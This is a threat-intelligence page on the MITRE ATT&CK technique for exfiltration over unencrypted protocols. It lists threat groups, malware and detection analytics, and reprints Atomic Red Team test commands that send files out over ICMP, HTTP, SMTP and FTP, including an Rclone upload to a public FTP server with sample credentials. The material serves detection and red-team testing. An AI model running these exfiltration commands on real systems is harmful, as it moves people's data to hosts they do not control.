tfMITRE ATT&CK sub-technique

Exfiltration Over Unencrypted Non-C2 Protocol T1048.003

sub-technique of T1048 Exfiltration Over Alternative Protocol

Tactic: Exfiltration
Platforms: ESXi, Linux, macOS, Network Devices, Windows
Version: 2.2
Created: 15 March 2020
Last modified: 12 May 2026
Contributors: William Cain; Austin Clark, @c2defense

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.[1]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 17%

Threat groups83rd percentile · 83% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 17%

Campaigns83rd percentile · 83% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 16%

Tools & malware84th percentile · 84% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 11%

Detection rules89th percentile · 89% of ATT&CK techniques have this many detection rules written or fewer.

Exfiltration Over Unencrypted Non-C2 Protocol MITRE reference T1048.003

Top 17%of all ATT&CK techniques for number of groups

11 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

Contagious InterviewG1052 ↗

Has exfiltrated victim information using FTP.1 2 3

created 2025-10-193 referencesaka DeceptiveDevelopment

Salt TyphoonG1045 ↗

Has exfiltrated configuration files from exploited network devices over FTP and TFTP.1

created 2025-02-241 reference

Mustang PandaG0129 ↗

Has used FTP to exfiltrate archive files.1

created 2021-04-121 referenceaka TA416

Wizard SpiderG0102 ↗

Has exfiltrated victim information using FTP.1 2

created 2020-05-122 referencesaka UNC1878

ThripG0076 ↗

Has used WinSCP to exfiltrate data from a targeted organization over FTP.1

created 2018-10-171 reference

APT33G0064 ↗

Has used FTP to exfiltrate files (separately from the C2 channel).1

created 2018-04-181 referenceaka HOLMIUM

All 11 groups for this technique · 6 newest in this preview

22 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

InvisibleFerretS1245 ↗

Has used FTP to exfiltrate files and directories using the command ssh_upload which contains with six subcommands of .sdira, sdir, sfile, sfinda, sfindr and sfind that had varying functions.1 2 InvisibleFerret has exfiltrated stolen files and data to the C2 servers over ports 1224, 2245 and 8637.3

created 2025-10-17MALWAREcarried by 1 group

PUBLOADS1228 ↗

Has leveraged curl for data exfiltration over FTP by uploading RAR archives containing targeted files (.doc, .docx, .xls, .xlsx, .pdf, .ppt, .pptx) to an adversary-owned FTP site.1

created 2025-08-04MALWAREcarried by 1 group

SocGholishS1124 ↗

Can exfiltrate data directly to its C2 domain via HTTP.1

created 2024-03-22MALWAREcarried by 1 group

WARPWIRES1116 ↗

Can send captured credentials to C2 via HTTP GET or POST requests.1 2

created 2024-03-05MALWARE

ccf32S1043 ↗

Can upload collected data and files to an FTP server.1

created 2022-09-22MALWARE

RcloneS1040 ↗

Can exfiltrate data over FTP or HTTP, including HTTP via WebDAV.1

created 2022-08-30TOOLcarried by 9 groups

All 22 software entries for this technique · 6 newest in this preview

Offense vs defense T1048.003

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 2Sigma rules (cumulative) · 16Splunk ESCU (cumulative) · 10

first rule: 2018 Q2 · 2 of 2 campaigns plotted

Exfiltration Over Unencrypted Non-C2 Protocol detection strategy DET0149

MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection of Exfiltration Over Unencrypted Non-C2 Protocol

Enterprise

5 platforms

AN0423 · Windows

Detects data access or staging events followed by outbound data flows using unencrypted protocols (e.g., FTP, HTTP) initiated by unexpected processes or to rare destinations.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
File AccessDC0055	WinEventLog:Security	EventCode=4663, 4670, 4656
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22
Network Traffic ContentDC0085	NSM:Flow	http.log, ftp.log

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
UnencryptedProtocolList	Set of protocols considered suspicious for outbound data exfiltration (e.g., FTP, HTTP).
DataTransferSizeThreshold	Defines what amount of outbound data is considered abnormal for a host/user.
ParentProcessDenylist	Processes that should not launch FTP/HTTP clients (e.g., winword.exe launching ftp.exe).

AN0424 · Linux

Detects file access or compression utilities followed by outbound connections using curl, wget, ftp, or custom binaries communicating over unencrypted protocols.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	auditd:SYSCALL	execve
Network Traffic FlowDC0078	NSM:Flow	flow records
Network Connection CreationDC0082	auditd:SYSCALL	connect
Network Traffic ContentDC0085	NSM:Flow	http.log, ftp.log

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
SensitiveDirectoryWatchlist	Flag access to paths known to store sensitive or regulated data.
ProcessBaseline	Define which binaries are allowed to communicate externally using HTTP/FTP.
TimeWindow	Correlates process/file/network within a defined time window.

AN0425 · macOS

Detects abnormal outbound HTTP/FTP connections by local scripts or binaries outside of standard browser activity, following access to local documents or user data.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:osquery	process_events
File AccessDC0055	macos:unifiedlog	log stream - file subsystem
Network Traffic FlowDC0078	macos:osquery	socket_events
Network Traffic ContentDC0085	NSM:Flow	http.log, ftp.log

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ScriptedClientAllowlist	Defines allowed automated agents that may transmit HTTP or FTP data (e.g., backup tools).
PayloadInspectionKeywordList	Terms or patterns indicating structured or sensitive data leaving via HTTP/FTP.

AN0426 · ESXi

Detects shell-based scripts accessing configuration files or snapshots and transmitting them over unencrypted protocols such as FTP or HTTP to non-management IPs.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Command ExecutionDC0064	esxi:hostd	event stream
Network Traffic FlowDC0078	NSM:Flow	flow records
Network Traffic ContentDC0085	NSM:Flow	http.log

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
VMConfigAccessPathWatchlist	Locations of VMX/CFG/SNAPSHOT files that should not be accessed by non-admin shells.
OutboundProtocolProfile	Expected network protocols for guest and host interfaces.

AN0427 · Network Devices

Detects use of unencrypted protocols (e.g., TFTP, FTP, HTTP) to transfer configuration files, routing tables, or logs to untrusted IP addresses, especially using administrative commands like copy run ftp:.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Command ExecutionDC0064	networkdevice:cli	CLI command logs
Network Traffic FlowDC0078	networkdevice:syslog	flow records
Network Traffic ContentDC0085	NSM:Flow	PCAP inspection

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ProtocolCommandWatchlist	Flag commands like `copy`, `archive tar`, or `upload` directed at external hosts.
DestinationIPBlocklist	Define external IP ranges unauthorized to receive router/switch configs.

Tests8ExecutorsPowerShell 5 · manual 2 · sh 1Need elevation1 of 8Have prerequisites1Have cleanup1Platformsmacos, linux, windows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Exfiltration Over Alternative Protocol - HTTP

macos, linux

manual

—

Exfiltration Over Alternative Protocol - ICMP

windows

PowerShell

—

Exfiltration of specified file over ICMP protocol. Upon successful execution, powershell will utilize ping (icmp) to exfiltrate notepad.exe to a remote address (default 127.0.0.1). Results will be via stdout.

Input arguments

Name	Type	Default	Description
input_file	path	C:\Windows\System32\notepad.exe	Path to file to be exfiltrated.
ip_address	string	127.0.0.1	Destination IP address where the data should be sent.

Attack command

$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}", 1500, $Data) }

GUIDe0ad5285-4361-467c-bd41-a3e8e676019f

Exfiltration Over Alternative Protocol - DNS

linux

manual

—

Exfiltration Over Alternative Protocol - HTTP

windows

PowerShell

—

Exfiltration of specified file over HTTP. Upon successful execution, powershell will invoke web request using POST method to exfiltrate notepad.exe to a remote address (default http://127.0.0.1). Results will be via stdout.

Input arguments

Name	Type	Default	Description
input_file	path	C:\Windows\System32\notepad.exe	Path to file to exfiltrate
ip_address	string	http://127.0.0.1	Destination IP address where the data should be sent

Attack command

$content = Get-Content #{input_file}
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body $content

GUID3a49d7ed-7d3d-4498-a386-bbc7ff169f8b

Exfiltration Over Alternative Protocol - SMTP

windows

PowerShell

—

Exfiltration of specified file over SMTP. Upon successful execution, powershell will send an email with attached file to exfiltrate to a remote address. Results will be via stdout.

Input arguments

Name	Type	Default	Description
sender	string	test@corp.com	The email address of the sender
receiver	string	test@corp.com	The email address of the receiver
input_file	path	C:\Windows\System32\notepad.exe	Path to file to exfiltrate
smtp_server	string	127.0.0.1	SMTP server to use for email transportation

Attack command

Send-MailMessage -From #{sender} -To #{receiver} -Subject "T1048.003 Atomic Test" -Attachments #{input_file} -SmtpServer #{smtp_server}

GUID4f15f3f5-50e9-42c7-adef-cb7c36de7479

MAZE FTP Upload

windows

PowerShell

—

Yes

This test simulates MAZE's ransomware's ability to exfiltrate data via FTP. Upon successful execution, all 7z files within the %windir%\temp directory will be uploaded to a remote FTP server. Reference: https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents

Input arguments

Name	Type	Default	Description
password	string	—	Password for FTP server login
username	string	—	Username for FTP server login
ftp_server	string	127.0.0.1	FTP Server address

Attack command

$Dir_to_copy = "$env:windir\temp"
$ftp = "ftp://#{ftp_server}/"
$web_client = New-Object System.Net.WebClient
$web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}')
if (test-connection -count 1 -computername "#{ftp_server}" -quiet)
{foreach($file in (dir $Dir_to_copy "*.7z"))
{echo "Uploading $file..."
$uri = New-Object System.Uri($ftp+$file.name)
$web_client.UploadFile($uri, $file.FullName)}}
else
{echo "FTP Server Unreachable. Please verify the server address in input args and try again."}

Cleanup command

$ftp = "ftp://#{ftp_server}/"
try {foreach ($file in (dir "$env:windir\temp" "*.7z"))
{$uri = New-Object System.Uri($ftp+$file.name)
 $ftp_del = [System.Net.FtpWebRequest]::create($uri)
 $ftp_del.Credentials = New-Object System.Net.NetworkCredential('#{username}','#{password}')
 $ftp_del.Method = [System.Net.WebRequestMethods+Ftp]::DeleteFile
 $ftp_del.GetResponse()}} catch{}

GUID40662b9b-c732-49ed-9be1-14e59983371a

Exfiltration Over Alternative Protocol - FTP - Rclone

windows

PowerShell

Required

—

Rclone may be used by an adversary to exfiltrate data to a publicly hosted FTP server. Reference

Input arguments

Name	Type	Default	Description
ftp_pass	string	rNrKYTX9g7z3RgJRmxWuGHbeu	Your FTP user's password
ftp_port	integer	21	Your FTP's port
ftp_user	string	dlpuser	Your FTP username
ftp_server	string	ftp.dlptest.com	Your own ftp server

Attack command

$rclone_bin = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "rclone.exe" | Select-Object -ExpandProperty FullName
$exfil_pack = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "exfil.zip" | Select-Object -ExpandProperty FullName
&$rclone_bin config create ftpserver "ftp" "host" #{ftp_server} "port" #{ftp_port} "user" #{ftp_user} "pass" #{ftp_pass}
&$rclone_bin copy --max-age 2y $exfil_pack ftpserver --bwlimit 2M -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P --ftp-no-check-certificate

Prerequisite

Check if the exfil package exists

Check

if (Test-Path C:\Users\Public\Downloads\exfil.zip) {exit 0} else {exit 1}

Satisfy

fsutil file createnew C:\Users\Public\Downloads\exfil.zip 20485760

Prerequisite

Check if rclone zip exists

Check

if (Test-Path C:\Users\Public\Downloads\rclone-current-windows-amd64.zip) {exit 0} else {exit 1}

Satisfy

Invoke-WebRequest -Uri "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -OutFile "C:\Users\Public\Downloads\rclone-current-windows-amd64.zip"
Expand-Archive C:\Users\Public\Downloads\rclone-current-windows-amd64.zip -DestinationPath C:\Users\Public\Downloads\

GUID17039ca3-685e-4fbb-8a97-813074e0ba43

Python3 http.server

linux

—

Tests from Atomic Red Team (MIT licence) · technique definition

Exfiltration Over Unencrypted Non-C2 Protocol detections T1048.003

26 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 11%of all ATT&CK techniques for number of rules

Product

(none) 8

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs